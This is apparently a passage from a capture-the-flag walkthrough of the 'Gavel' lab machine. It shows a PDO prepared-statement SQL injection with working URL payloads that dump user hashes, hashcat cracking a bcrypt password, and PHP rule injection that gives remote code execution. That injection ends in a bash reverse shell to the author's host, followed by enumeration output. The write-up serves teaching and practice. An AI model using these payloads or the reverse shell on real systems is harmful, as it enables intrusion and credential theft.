+    message: "Only bids greater than 5000 will be considered. Ensure you have sufficient balance before placing such bids."^M
oxdf@hacky$ git diff f67d907 2bd167f
diff --git a/rules/default.yaml b/rules/default.yaml
index 1b3660f..5eedec9 100755
--- a/rules/default.yaml
+++ b/rules/default.yaml
@@ -5,5 +5,11 @@ rules:
   - rule: "return $current_bid % 5 == 0;"
     message: "Bids must be in multiples of 5. Your account balance must cover the bid amount."
 
+  - rule: "return strlen($bidder) % 2 == 0;"^M
+    message: "Bidding is restricted to users with an even-numbered username."^M
+^M
+  - rule: "return strlen($bidder) % 2 == 1;"^M
+    message: "Bidding is restricted to users with an odd-numbered username."^M
+^M
   - rule: "return $current_bid >= $previous_bid + 5000;"
     message: "Only bids greater than 5000 + current bid will be considered. Ensure you have sufficient balance before placing such bids."

Nothing super interesting.

Shell as www-data

SQL Injection

Vulnerability

I noted above that in inventory.php there’s code that takes user input and forms a SQL query. For the most part, these queries are done correctly, using prepared statements. But there’s one variable that slips through:

$sortItem = $_POST['sort'] ?? $_GET['sort'] ?? 'item_name';
$userId = $_POST['user_id'] ?? $_GET['user_id'] ?? $_SESSION['user']['id'];
$col = "`" . str_replace("`", "", $sortItem) . "`";
...[snip]...
    } else {
        $stmt = $pdo->prepare("SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC");
        $stmt->execute([$userId]);
    }

The $col variable is passed directly into the statement, which is a slightly sanitized modification on the $_REQUEST['sort'] input from the user. There is still an issue here making SQLI more difficult. All backticks are removed from the input and then the entire input is wrapped in backticks. In SQL, backticks are used to quote a table name or column name, and I can’t break out of that.

An article titled A Novel Technique for SQL Injection in PDO’s Prepared Statements from Searchlight Cyber presents a solution. They show an example:

<?php
$dsn = "mysql:host=127.0.0.1;dbname=demo";
$pdo = new PDO($dsn, 'root', '');

$col = '`' . str_replace('`', '``', $_GET['col']) . '`';

$stmt = $pdo->prepare("SELECT $col FROM fruit WHERE name = ?");
$stmt->execute([$_GET['name']]);
$data = $stmt->fetchAll(PDO::FETCH_ASSOC);
foreach($data as $v) {
	echo join(' : ', $v) . PHP_EOL;
}

This looks exactly like what’s in inventory.php. The article goes into really nice detail as to how they found the bypass, and how it works.

The idea is that I’m going to use $col to inject another “?” into the string that’s passed to PDO. When PDO typically does substitution, it escapes the value and wraps it in single quotes. There’s no known way to break out directly.

Here, I’ll inject not only another bind point but also use the backtick added to $col to escape it. So I’ll pass in \?;--+-%00. This will become $col as `\?;-- -\0` (wrapped in backticks), creating a template string:

SELECT `\?;-- -\0` FROM fruit WHERE name = ?

Now whatever I submit for the next injection will be wrapped in single quotes. But I’ve positioned an escape backslash just before it! So now I can close the backticks and have a column name that just happens to start with an escaped single quote!

SELECT `\'x` FROM (SELECT VERSION() AS `\'x`)y;-- -'...
--        ^— PDO thinks this is safely inside an identifier

I’m creating a derived table named y with a column named \'x that has the version in it, and then selecting the \'x column from that table. The null byte is necessary to make this attack work on PHP 8.4 (latest at the time of this post). For PHP <= 8.3, it’ll work without it (and it turns out that is the case here).

POC

A basic POC is:

http://gavel.htb/inventory.php?sort=\?;--+-%00&user_id=x`+FROM+(SELECT+VERSION()+AS+`%27x`)y;--+-

The inputs URL decode to:

• sort: \?;-- -\0
• user_id = x` FROM (SELECT VERSION() AS `'x`)y;-- -

PHP then makes the $col variable by removing backticks and wrapping in backticks: `\?;-- -`.

PDO then creates a template:

SELECT `\?;-- -\0` FROM inventory WHERE user_id = ? ORDER BY item_name ASC

By smuggling a ? into the template, I’ve changed where the user_id is set when PDO does the substitution. As only one variable is passed for now two ? in the template, both are filled user_id:

SELECT `\'x` FROM (SELECT VERSION() AS `\'x`)y;-- -';-- -` FROM inventory WHERE user_id = x` FROM (SELECT VERSION() AS `\'x`)y;-- - ORDER BY item_name ASC

The single quote in user_id is escaped, which now matches the column being selected. The y at the end is the name given to the derived table (it can be anything).

Visiting that URL shows the version:

Database Enumeration

To update this payload, I’ll just need to modify what I want to search for in this template:

http://gavel.htb/inventory.php?sort=\?;--+-&user_id=x`+FROM+(SELECT+<column>+AS+`%27x`+FROM+<table>)y;--+-

So to list the tables, I can use:

http://gavel.htb/inventory.php?sort=\?;--+-&user_id=x`+FROM+(SELECT+table_name+AS+`%27x`+FROM+information_schema.tables)y;--+-

This returns:

Or a bit nicer, database plus table:

http://gavel.htb/inventory.php?sort=\?;--+-&user_id=x`+FROM+(SELECT+concat(table_schema,0x3a,table_name)+AS+`%27x`+FROM+information_schema.tables)y;--+-

Which returns:

In the gavel database there are four tables. The interesting one is users. I’ll create a payload to get the columns:

http://gavel.htb/inventory.php?sort=\?;--+-&user_id=x`+FROM+(SELECT+column_name+AS+`%27x`+FROM+information_schema.columns+WHERE+table_schema=0x676176656c+AND+table_name=0x7573657273)y;--+- 

I want to add a WHERE to filter out columns from other tables, but I can’t pass in single quotes to make the strings, or they will be escaped. I’ll use hex strings to get around this, where 0x676176656c = “gavel” and 0x7573657273 = “users”. It works:

I’ll dump the user’s table:

http://gavel.htb/inventory.php?sort=\?;--+-&user_id=x`+FROM+(SELECT+concat(username,0x3a,password,0x3a,role,0x3a,money)+AS+`%27x`+FROM+users)y;--+-

There are two users, one of which I created:

Access as auctioneer

Crack Hash

I’ll save the auctioneer hash to a file and pass it to hashcat. If I try to let it auto-detect the format, it’ll show me a bunch of possible bcrypt variants:

$ hashcat auctioneer.bcrypt /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
hashcat (v7.1.2) starting in autodetect mode
...[snip]...
The following 6 hash-modes match the structure of your input hash:

      # | Name                                                       | Category
  ======+============================================================+======================================
  25600 | bcrypt(md5($pass))                                         | Generic KDF
  25800 | bcrypt(sha1($pass))                                        | Generic KDF
  30600 | bcrypt(sha256($pass))                                      | Generic KDF
  28400 | bcrypt(sha512($pass))                                      | Generic KDF
   3200 | bcrypt $2*$, Blowfish (Unix)                               | Operating System
  33800 | WBB4 (Woltlab Burning Board) [bcrypt(bcrypt($pass))]       | Forums, CMS, E-Commerce
...[snip]...

I’ll use 3200 for the plain bcrypt:

$ hashcat -m 3200 auctioneer.bcrypt /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
hashcat (v7.1.2) starting
...[snip]...
$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS:midnight1
...[snip]...

It cracks in 13 seconds on my host.

Authenticated Site

I’ll login as auctioneer, and the “Admin Panel” is now on the menu bar:

The page shows the three live auctions, each with a place to edit the message and rule:

RCE POC

Above I found that in the bid_handler.php API, it would load the rule associated with the auction as a PHP function and run it against the bid information:

$rule = $auction['rule'];
$rule_message = $auction['message'];

$allowed = false;

try {
    if (function_exists('ruleCheck')) {
        runkit_function_remove('ruleCheck');
    }
    runkit_function_add('ruleCheck', '$current_bid, $previous_bid, $bidder', $rule);
    error_log("Rule: " . $rule);
    $allowed = ruleCheck($current_bid, $previous_bid, $bidder);
} catch (Throwable $e) {
    error_log("Rule error: " . $e->getMessage());
    $allowed = false;
}

if (!$allowed) {
    echo json_encode(['success' => false, 'message' => $rule_message]);
    exit;
}

Now I have access to set the rules. The result needs to return true or false, and the result is never sent back to me. To test getting RCE here, I’ll need to use a payload that indicates success out of bounds. I’ll try a ping:

system('ping -c 1 10.10.14.60'); return true;

I’m returning true so that the code will continue successfully, though it doesn’t really matter. I’ll need to find the same bid on the auctions page and bid anything higher than the current bid amount. When I do:

oxdf@hacky$ sudo tcpdump -ni tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
23:11:57.577739 IP 10.129.15.156 > 10.10.14.60: ICMP echo request, id 2, seq 1, length 64
23:11:57.577763 IP 10.10.14.60 > 10.129.15.156: ICMP echo reply, id 2, seq 1, length 64

That’s RCE!

Shell

I’ll try the same thing again, this time with a bash reverse shell:

system('bash -c "bash -i >& /dev/tcp/10.10.14.60/443 0>&1"'); return true;

When I bid, I get a connection at nc:

oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.129.15.156 52840
bash: cannot set terminal process group (1061): Inappropriate ioctl for device
bash: no job control in this shell
www-data@gavel:/var/www/html/gavel/includes$

I’ll upgrade my shell using the standard trick:

www-data@gavel:/var/www/html/gavel/includes$ script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@gavel:/var/www/html/gavel/includes$ ^Z
[1]+  Stopped                 nc -lnvp 443
oxdf@hacky$ stty raw -echo; fg
nc -lnvp 443
            ‍reset
reset: unknown terminal type unknown
Terminal type? screen
www-data@gavel:/var/www/html/gavel/includes$

Shell as auctioneer

Enumeration

Users

There’s one user with a home directory in /home:

www-data@gavel:/home$ ls
auctioneer

www-data does not have access. This matches the users on the host with shells set in passwd:

www-data@gavel:/$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
auctioneer:x:1001:1002::/home/auctioneer:/bin/bash

Unsurprisingly, www-data requires a password to run sudo (and likely isn’t configured with privileges at all).

Processes

The process list has a couple interesting running processes:

www-data@gavel:/$ ps auxww
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  0.2 165996 11116 ?        Ss   12:19   0:24 /sbin/init
root           2  0.0  0.0      0     0 ?        S    12:19   0:00 [kthreadd]
root           3  0.0  0.0      0     0 ?        I<   12:19   0:00 [rcu_gp]
root           4  0.0  0.0      0     0 ?        I<   12:19   0:00 [rcu_par_gp]
root           5  0.0  0.0      0     0 ?        I<   12:19   0:00 [slub_flushwq]
root           6  0.0  0.0      0     0 ?        I<   12:19   0:00 [netns]
root           8  0.0  0.0      0     0 ?        I<   12:19   0:00 [kworker/0:0H-events_highpri]
root          10  0.0  0.0      0     0 ?        I<   12:19   0:00 [mm_percpu_wq]
root          11  0.0  0.0      0     0 ?        S    12:19   0:00 [rcu_tasks_rude_]
root          12  0.0  0.0      0     0 ?        S    12:19   0:00 [rcu_tasks_trace]
root          13  0.0  0.0      0     0 ?        S    12:19   0:03 [ksoftirqd/0]
root          14  0.0  0.0      0     0 ?        I    12:19   0:18 [rcu_sched]
root          15  0.0  0.0      0     0 ?        S    12:19   0:00 [migration/0]
root          16  0.0  0.0      0     0 ?        S    12:19   0:00 [idle_inject/0]
root          18  0.0  0.0      0     0 ?        S    12:19   0:00 [cpuhp/0]
root          19  0.0  0.0      0     0 ?        S    12:19   0:00 [cpuhp/1]
root          20  0.0  0.0      0     0 ?        S    12:19   0:00 [idle_inject/1]
root          21  0.0  0.0      0     0 ?        S    12:19   0:00 [migration/1]
root          22  0.0  0.0      0     0 ?        S    12:19   0:03 [ksoftirqd/1]
root          24  0.0  0.0      0     0 ?        I<   12:19   0:00 [kworker/1:0H-events_highpri]
root          25  0.0  0.0      0     0 ?        S    12:19   0:00 [kdevtmpfs]
root          26  0.0  0.0      0     0 ?        I<   12:19   0:00 [inet_frag_wq]
root          27  0.0  0.0      0     0 ?        S    12:19   0:18 [kauditd]
root          28  0.0  0.0      0     0 ?        S    12:19   0:00 [khungtaskd]
root          29  0.0  0.0      0     0 ?        S    12:19   0:00 [oom_reaper]
root          30  0.0  0.0      0     0 ?        I<   12:19   0:00 [writeback]
root          31  0.0  0.0      0     0 ?        S    12:19   0:01 [kcompactd0]
root          32  0.0  0.0      0     0 ?        SN   12:19   0:00 [ksmd]
root          33  0.0  0.0      0     0 ?        SN   12:19   0:00 [khugepaged]
root          80  0.0  0.0      0     0 ?        I<   12:19   0:00 [kintegrityd]
root          81  0.0  0.0      0     0 ?        I<   12:19   0:00 [kblockd]
root          82  0.0  0.0      0     0 ?        I<   12:19   0:00 [blkcg_punt_bio]
root          83  0.0  0.0      0     0 ?        I<   12:19   0:00 [tpm_dev_wq]
root          84  0.0  0.0      0     0 ?        I<   12:19   0:00 [ata_sff]
root          85  0.0  0.0      0     0 ?        I<   12:19   0:00 [md]
root          86  0.0  0.0      0     0 ?        I<   12:19   0:00 [edac-poller]
root          87  0.0  0.0      0     0 ?        I<   12:19   0:00 [devfreq_wq]
root          88  0.0  0.0      0     0 ?        S    12:19   0:00 [watchdogd]
root          90  0.0  0.0      0     0 ?        I<   12:19   0:02 [kworker/1:1H-kblockd]
root          92  0.0  0.0      0     0 ?        S    12:19   0:00 [kswapd0]
root          93  0.0  0.0      0     0 ?        S    12:19   0:00 [ecryptfs-kthrea]
root          95  0.0  0.0      0     0 ?        I<   12:19   0:00 [kthrotld]
root          96  0.0  0.0      0     0 ?        S    12:19   0:00 [irq/24-pciehp]
root          97  0.0  0.0      0     0 ?        S    12:19   0:00 [irq/25-pciehp]
root          98  0.0  0.0      0     0 ?        S    12:19   0:00 [irq/26-pciehp]
root          99  0.0  0.0      0     0 ?        S    12:19   0:00 [irq/27-pciehp]
root         100  0.0  0.0      0     0 ?        S    12:19   0:00 [irq/28-pciehp]
root         101  0.0  0.0      0     0 ?        S    12:19   0:00 [irq/29-pciehp]
root         102  0.0  0.0      0     0 ?        S    12:19   0:00 [irq/30-pciehp]
root         103  0.0  0.0      0     0 ?        S    12:19   0:00 [irq/31-pciehp]
root         104  0.0  0.0      0     0 ?        S    12:19   0:00 [irq/32-pciehp]
root         105  0.0  0.0      0     0 ?        S    12:19   0:00 [irq/33-pciehp]
root         106  0.0  0.0      0     0 ?        S    12:19   0:00 [irq/34-pciehp]
root         107  0.0  0.0      0     0 ?        S    12:19   0:00 [irq/35-pciehp]
root         108  0.0  0.0      0     0 ?        S    12:19   0:00 [irq/36-pciehp]
root         109  0.0  0.0      0     0 ?        S    12:19   0:00 [irq/37-pciehp]
root         110  0.0  0.0      0     0 ?        S    12:19   0:00 [irq/38-pciehp]
root         111  0.0  0.0      0     0 ?        S    12:19   0:00 [irq/39-pciehp]
root         112  0.0  0.0      0     0 ?        S    12:19   0:00 [irq/40-pciehp]
root         113  0.0  0.0      0     0 ?        S    12:19   0:00 [irq/41-pciehp]
root         114  0.0  0.0      0     0 ?        S    12:19   0:00 [irq/42-pciehp]
root         115  0.0  0.0      0     0 ?        S    12:19   0:00 [irq/43-pciehp]
root         116  0.0  0.0      0     0 ?        S    12:19   0:00 [irq/44-pciehp]
root         117  0.0  0.0      0     0 ?        S    12:19   0:00 [irq/45-pciehp]
root         118  0.0  0.0      0     0 ?        S    12:19   0:00 [irq/46-pciehp]
root         119  0.0  0.0      0     0 ?        S    12:19   0:00 [irq/47-pciehp]
root         120  0.0  0.0      0     0 ?        S    12:19   0:00 [irq/48-pciehp]
root         121  0.0  0.0      0     0 ?        S    12:19   0:00 [irq/49-pciehp]
root         122  0.0  0.0      0     0 ?        S    12:19   0:00 [irq/50-pciehp]
root         123  0.0  0.0      0     0 ?        S    12:19   0:00 [irq/51-pciehp]
root         124  0.0  0.0      0     0 ?        S    12:19   0:00 [irq/52-pciehp]
root         125  0.0  0.0      0     0 ?        S    12:19   0:00 [irq/53-pciehp]
root         126  0.0  0.0      0     0 ?        S    12:19   0:00 [irq/54-pciehp]
root         127  0.0  0.0      0     0 ?        S    12:19   0:00 [irq/55-pciehp]
root         128  0.0  0.0      0     0 ?        I<   12:19   0:00 [acpi_thermal_pm]
root         130  0.0  0.0      0     0 ?        S    12:19   0:00 [scsi_eh_0]
root         131  0.0  0.0      0     0 ?        I<   12:19   0:00 [scsi_tmf_0]
root         132  0.0  0.0      0     0 ?        S    12:19   0:00 [scsi_eh_1]
root         133  0.0  0.0      0     0 ?        I<   12:19   0:00 [scsi_tmf_1]
root         135  0.0  0.0      0     0 ?        I<   12:19   0:00 [vfio-irqfd-clea]
root         136  0.0  0.0      0     0 ?        I<   12:19   0:00 [mld]
root         137  0.0  0.0      0     0 ?        I<   12:19   0:00 [ipv6_addrconf]
root         149  0.0  0.0      0     0 ?        I<   12:19   0:00 [kstrp]
root         152  0.0  0.0      0     0 ?        I<   12:19   0:00 [zswap-shrink]
root         153  0.0  0.0      0     0 ?        I<   12:19   0:00 [kworker/u5:0]
root         158  0.0  0.0      0     0 ?        I<   12:19   0:00 [charger_manager]
root         181  0.0  0.0      0     0 ?        I<   12:19   0:02 [kworker/0:1H-kblockd]
root         205  0.0  0.0      0     0 ?        I<   12:19   0:00 [mpt_poll_0]
root         206  0.0  0.0      0     0 ?        I<   12:19   0:00 [mpt/0]
root         207  0.0  0.0      0     0 ?        S    12:19   0:00 [scsi_eh_2]
root         208  0.0  0.0      0     0 ?        I<   12:19   0:00 [scsi_tmf_2]
root         209  0.0  0.0      0     0 ?        I<   12:19   0:00 [ttm_swap]
root         210  0.0  0.0      0     0 ?        S    12:19   0:00 [scsi_eh_3]
root         211  0.0  0.0      0     0 ?        I<   12:19   0:00 [scsi_tmf_3]
root         212  0.0  0.0      0     0 ?        S    12:19   0:05 [irq/16-vmwgfx]
root         213  0.0  0.0      0     0 ?        S    12:19   0:00 [scsi_eh_4]
root         214  0.0  0.0      0     0 ?        S    12:19   0:00 [card0-crtc0]
root         215  0.0  0.0      0     0 ?        I<   12:19   0:00 [scsi_tmf_4]
root         216  0.0  0.0      0     0 ?        S    12:19   0:00 [scsi_eh_5]
root         217  0.0  0.0      0     0 ?        S    12:19   0:00 [card0-crtc1]
root         218  0.0  0.0      0     0 ?        I<   12:19   0:00 [scsi_tmf_5]
root         219  0.0  0.0      0     0 ?        I<   12:19   0:00 [cryptd]
root         220  0.0  0.0      0     0 ?        S    12:19   0:00 [scsi_eh_6]
root         221  0.0  0.0      0     0 ?        S    12:19   0:00 [card0-crtc2]
root         222  0.0  0.0      0     0 ?        S    12:19   0:00 [card0-crtc3]
root         223  0.0  0.0      0     0 ?        I<   12:19   0:00 [scsi_tmf_6]
root         224  0.0  0.0      0     0 ?        S    12:19   0:00 [card0-crtc4]
root         232  0.0  0.0      0     0 ?        S    12:19   0:00 [scsi_eh_7]
root         233  0.0  0.0      0     0 ?        S    12:19   0:00 [card0-crtc5]
root         235  0.0  0.0      0     0 ?        I<   12:19   0:00 [scsi_tmf_7]
root         236  0.0  0.0      0     0 ?        S    12:19   0:00 [card0-crtc6]
root         237  0.0  0.0      0     0 ?        S    12:19   0:00 [scsi_eh_8]
root         238  0.0  0.0      0     0 ?        S    12:19   0:00 [card0-crtc7]
root         242  0.0  0.0      0     0 ?        I<   12:19   0:00 [scsi_tmf_8]
root         243  0.0  0.0      0     0 ?        S    12:19   0:00 [scsi_eh_9]
root         246  0.0  0.0      0     0 ?        I<   12:19   0:00 [scsi_tmf_9]
root         250  0.0  0.0      0     0 ?        S    12:19   0:00 [scsi_eh_10]
root         251  0.0  0.0      0     0 ?        I<   12:19   0:00 [scsi_tmf_10]
root         256  0.0  0.0      0     0 ?        S    12:19   0:00 [scsi_eh_11]
root         258  0.0  0.0      0     0 ?        I<   12:19   0:00 [scsi_tmf_11]
root         259  0.0  0.0      0     0 ?        S    12:19   0:00 [scsi_eh_12]
root         261  0.0  0.0      0     0 ?        I<   12:19   0:00 [scsi_tmf_12]
root         262  0.0  0.0      0     0 ?        S    12:19   0:00 [scsi_eh_13]
root         263  0.0  0.0      0     0 ?        I<   12:19   0:00 [scsi_tmf_13]
root         266  0.0  0.0      0     0 ?        S    12:19   0:00 [scsi_eh_14]
root         267  0.0  0.0      0     0 ?        I<   12:19   0:00 [scsi_tmf_14]
root         269  0.0  0.0      0     0 ?        S    12:19   0:00 [scsi_eh_15]
root         271  0.0  0.0      0     0 ?        I<   12:19   0:00 [scsi_tmf_15]
root         273  0.0  0.0      0     0 ?        S    12:19   0:00 [scsi_eh_16]
root         274  0.0  0.0      0     0 ?        I<   12:19   0:00 [scsi_tmf_16]
root         276  0.0  0.0      0     0 ?        S    12:19   0:00 [scsi_eh_17]
root         277  0.0  0.0      0     0 ?        I<   12:19   0:00 [scsi_tmf_17]
root         279  0.0  0.0      0     0 ?        S    12:19   0:00 [scsi_eh_18]
root         281  0.0  0.0      0     0 ?        I<   12:19   0:00 [scsi_tmf_18]
root         284  0.0  0.0      0     0 ?        S    12:19   0:00 [scsi_eh_19]
root         285  0.0  0.0      0     0 ?        I<   12:19   0:00 [scsi_tmf_19]
root         288  0.0  0.0      0     0 ?        S    12:19   0:00 [scsi_eh_20]
root         289  0.0  0.0      0     0 ?        I<   12:19   0:00 [scsi_tmf_20]
root         293  0.0  0.0      0     0 ?        S    12:19   0:00 [scsi_eh_21]
root         294  0.0  0.0      0     0 ?        I<   12:19   0:00 [scsi_tmf_21]
root         303  0.0  0.0      0     0 ?        S    12:19   0:00 [scsi_eh_22]
root         304  0.0  0.0      0     0 ?        I<   12:19   0:00 [scsi_tmf_22]
root         305  0.0  0.0      0     0 ?        S    12:19   0:00 [scsi_eh_23]
root         306  0.0  0.0      0     0 ?        I<   12:19   0:00 [scsi_tmf_23]
root         308  0.0  0.0      0     0 ?        S    12:19   0:00 [scsi_eh_24]
root         309  0.0  0.0      0     0 ?        I<   12:19   0:00 [scsi_tmf_24]
root         311  0.0  0.0      0     0 ?        S    12:19   0:00 [scsi_eh_25]
root         312  0.0  0.0      0     0 ?        I<   12:19   0:00 [scsi_tmf_25]
root         313  0.0  0.0      0     0 ?        S    12:19   0:00 [scsi_eh_26]
root         314  0.0  0.0      0     0 ?        I<   12:19   0:00 [scsi_tmf_26]
root         315  0.0  0.0      0     0 ?        S    12:19   0:00 [scsi_eh_27]
root         316  0.0  0.0      0     0 ?        I<   12:19   0:00 [scsi_tmf_27]
root         317  0.0  0.0      0     0 ?        S    12:19   0:00 [scsi_eh_28]
root         318  0.0  0.0      0     0 ?        I<   12:19   0:00 [scsi_tmf_28]
root         319  0.0  0.0      0     0 ?        S    12:19   0:00 [scsi_eh_29]
root         320  0.0  0.0      0     0 ?        I<   12:19   0:00 [scsi_tmf_29]
root         321  0.0  0.0      0     0 ?        S    12:19   0:00 [scsi_eh_30]
root         322  0.0  0.0      0     0 ?        I<   12:19   0:00 [scsi_tmf_30]
root         323  0.0  0.0      0     0 ?        S    12:19   0:00 [scsi_eh_31]
root         324  0.0  0.0      0     0 ?        I<   12:19   0:00 [scsi_tmf_31]
root         351  0.0  0.0      0     0 ?        S    12:19   0:00 [scsi_eh_32]
root         352  0.0  0.0      0     0 ?        I<   12:19   0:00 [scsi_tmf_32]
root         394  0.0  0.0      0     0 ?        I<   12:20   0:00 [raid5wq]
root         444  0.0  0.0      0     0 ?        S    12:20   0:05 [jbd2/sda2-8]
root         445  0.0  0.0      0     0 ?        I<   12:20   0:00 [ext4-rsv-conver]
root         498  0.5  3.0 187276 123552 ?       S<s  12:20   3:29 /lib/systemd/systemd-journald
root         532  0.0  0.0      0     0 ?        I<   12:20   0:00 [kaluad]
root         533  0.0  0.0      0     0 ?        I<   12:20   0:00 [kmpath_rdacd]
root         534  0.0  0.0      0     0 ?        I<   12:20   0:00 [kmpathd]
root         536  0.0  0.0      0     0 ?        I<   12:20   0:00 [kmpath_handlerd]
root         537  0.0  0.6 289376 27124 ?        SLsl 12:20   0:04 /sbin/multipathd -d -s
root         539  0.0  0.1  25920  6556 ?        Ss   12:20   0:00 /lib/systemd/systemd-udevd
systemd+     598  0.0  0.3  26752 14372 ?        Ss   12:20   0:00 /lib/systemd/systemd-resolved
root         600  0.2  0.0  85268  2492 ?        S<sl 12:20   1:14 /sbin/auditd
_laurel      602  0.2  0.1  10120  6212 ?        S<   12:20   1:27 /usr/local/sbin/laurel --config /etc/laurel/config.toml
root         604  0.0  0.2  51160 11852 ?        Ss   12:20   0:00 /usr/bin/VGAuthService
root         606  0.1  0.2 316084 10268 ?        Ssl  12:20   0:58 /usr/bin/vmtoolsd
root         626  0.0  0.0      0     0 ?        S    12:20   0:00 [audit_prune_tre]
root         711  0.0  0.1 101244  6048 ?        Ssl  12:20   0:00 /sbin/dhclient -1 -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0
message+     838  0.0  0.1   8748  5052 ?        Ss   12:20   0:00 @dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
root         843  0.0  0.0  82840  3828 ?        Ssl  12:20   0:03 /usr/sbin/irqbalance --foreground
root         844  0.0  0.4  32800 19776 ?        Ss   12:20   0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
root         845  0.0  0.1 234540  6528 ?        Ssl  12:20   0:00 /usr/libexec/polkitd --no-debug
syslog       846  0.0  0.1 222404  6068 ?        Ssl  12:20   0:16 /usr/sbin/rsyslogd -n -iNONE
root         847  0.0  0.1  15560  7548 ?        Ss   12:20   0:00 /lib/systemd/systemd-logind
root         848  0.0  0.3 392540 12796 ?        Ssl  12:20   0:00 /usr/libexec/udisks2/udisksd
root         879  0.0  0.3 318004 12584 ?        Ssl  12:20   0:00 /usr/sbin/ModemManager
root        1001  0.0  0.0   7372  3504 ?        Ss   12:20   0:34 /bin/bash /root/scripts/auction_watcher.sh
root        1003  0.0  0.0  19128  3956 ?        Ss   12:20   0:00 /opt/gavel/gaveld
root        1006  0.0  0.0   6920  3040 ?        Ss   12:20   0:00 /usr/sbin/cron -f -P
root        1011  0.3  0.4  26784 18212 ?        Ss   12:20   2:17 python3 /root/scripts/timeout_gavel.py
root        1030  0.0  0.2  15460  9360 ?        Ss   12:20   0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root        1034  0.0  0.0   6176  1088 tty1     Ss+  12:20   0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
root        1061  0.0  0.5 209260 23852 ?        Ss   12:20   0:03 /usr/sbin/apache2 -k start
www-data    1062  0.0  0.4 209840 18212 ?        S    12:20   0:07 /usr/sbin/apache2 -k start
www-data    1063  0.0  0.4 209840 19076 ?        S    12:20   0:07 /usr/sbin/apache2 -k start
www-data    1064  0.0  0.4 209840 18224 ?        S    12:20   0:07 /usr/sbin/apache2 -k start
www-data    1066  0.0  0.4 209840 18896 ?        S    12:20   0:07 /usr/sbin/apache2 -k start
mysql       1093  1.6 10.1 1787168 407764 ?      Ssl  12:20  10:14 /usr/sbin/mysqld
www-data    1613  0.0  0.4 209912 19620 ?        S    12:22   0:08 /usr/sbin/apache2 -k start
www-data    3646  0.0  0.4 209840 18348 ?        S    12:34   0:07 /usr/sbin/apache2 -k start
root       18705  0.0  0.0      0     0 ?        I    13:59   0:19 [kworker/0:2-cgroup_destroy]
www-data   79119  0.0  0.0   2892   952 ?        S    19:42   0:00 sh -c bash -c "bash -i >& /dev/tcp/10.10.14.60/443 0>&1"
www-data   79120  0.0  0.0   4364  3276 ?        S    19:42   0:00 bash -c bash -i >& /dev/tcp/10.10.14.60/443 0>&1
www-data   79121  0.0  0.0   4628  3848 ?        S    19:42   0:00 bash -i
www-data   86401  0.0  0.4 209840 18108 ?        S    20:23   0:01 /usr/sbin/apache2 -k start
root       95565  0.0  0.0      0     0 ?        I    21:15   0:03 [kworker/1:2-events]
root       96843  0.0  0.7 387760 28652 ?        Ssl  21:22   0:01 /usr/libexec/fwupd/fwupd
root       96848  0.0  0.2 239692  8124 ?        Ssl  21:22   0:00 /usr/libexec/upowerd
root       97204  0.0  0.0      0     0 ?        I    21:24   0:01 [kworker/u4:0-events_power_efficient]
www-data  106000  0.0  0.0   2808  1100 ?        S    22:14   0:00 script /dev/null -c bash
www-data  106001  0.0  0.0   2892   996 pts/0    Ss   22:14   0:00 sh -c bash
www-data  106002  0.0  0.0   4628  3828 pts/0    S    22:14   0:00 bash
root      106693  0.0  0.0      0     0 ?        I    22:18   0:00 [kworker/1:0-events]
root      107698  0.0  0.0      0     0 ?        I    22:24   0:00 [kworker/u4:4-events_unbound]
auction+  108443  0.0  0.2  17092  9240 ?        Ss   22:28   0:00 /lib/systemd/systemd --user
auction+  108444  0.0  0.0 169052  3640 ?        S    22:28   0:00 (sd-pam)
root      108449  0.0  0.0      0     0 ?        I    22:28   0:00 [kworker/0:0-events]
root      108647  0.0  0.0      0     0 ?        I    22:29   0:00 [kworker/u4:1-ext4-rsv-conversion]
root      109669  0.0  0.0      0     0 ?        I    22:35   0:00 [kworker/0:1]
root      109670  0.0  0.0      0     0 ?        I    22:35   0:00 [kworker/0:3-events]
root      109688  0.0  0.0   5772  1024 ?        S    22:35   0:00 sleep 1
www-data  109689  0.0  0.0   7064  1548 pts/0    R+   22:35   0:00 ps auxww

I’ll note the following interesting processes:

Process	User	Description
/opt/gavel/gaveld (PID 1003)	root	A custom daemon running as root from /opt/gavel/. The non-standard name and location immediately stand out. I’ll come back to this for root.
/bin/bash /root/scripts/auction_watcher.sh (PID 1001)	root	A bash script running as root from a directory we can’t read. The name suggests it’s managing auction lifecycle (starting/ending auctions). It seems likely that this is calling auction_watcher.php.
python3 /root/scripts/timeout_gavel.py (PID 1011)	root	Likely the box’s reset/cleanup script that periodically cleans up user accounts, files, etc.
/usr/sbin/mysqld (PID 1093)	mysql	MySQL is running, consistent with the PHP app using PDO/MySQL.
/usr/sbin/apache2	root / www-data	Standard Apache setup (root parent, www-data workers).
/usr/local/sbin/laurel --config /etc/laurel/config.toml (PID 602)	_laurel	Laurel is an audit log enrichment tool that converts Linux audit logs into structured JSON. Standard practice for HTB machines.
/sbin/auditd (PID 600)	root	Linux audit daemon, paired with laurel above. Standard practice for HTB machines.

File System

The website is located in /var/www/html/gavel:

www-data@gavel:/var/www/html/gavel$ ls
admin.php  bidding.php  index.php      login.php   register.php
assets     includes     inventory.php  logout.php  rules

There’s nothing really new here. includes/config.php has DB information that match what I got from the Git repo. I’ve already explored the database via the injection.

There is an application in /opt/gavel:

www-data@gavel:/opt/gavel$ ls -la
total 56
drwxr-xr-x 4 root root  4096 Nov  5 12:46 .
drwxr-xr-x 3 root root  4096 Nov  5 12:46 ..
drwxr-xr-x 3 root root  4096 Nov  5 12:46 .config
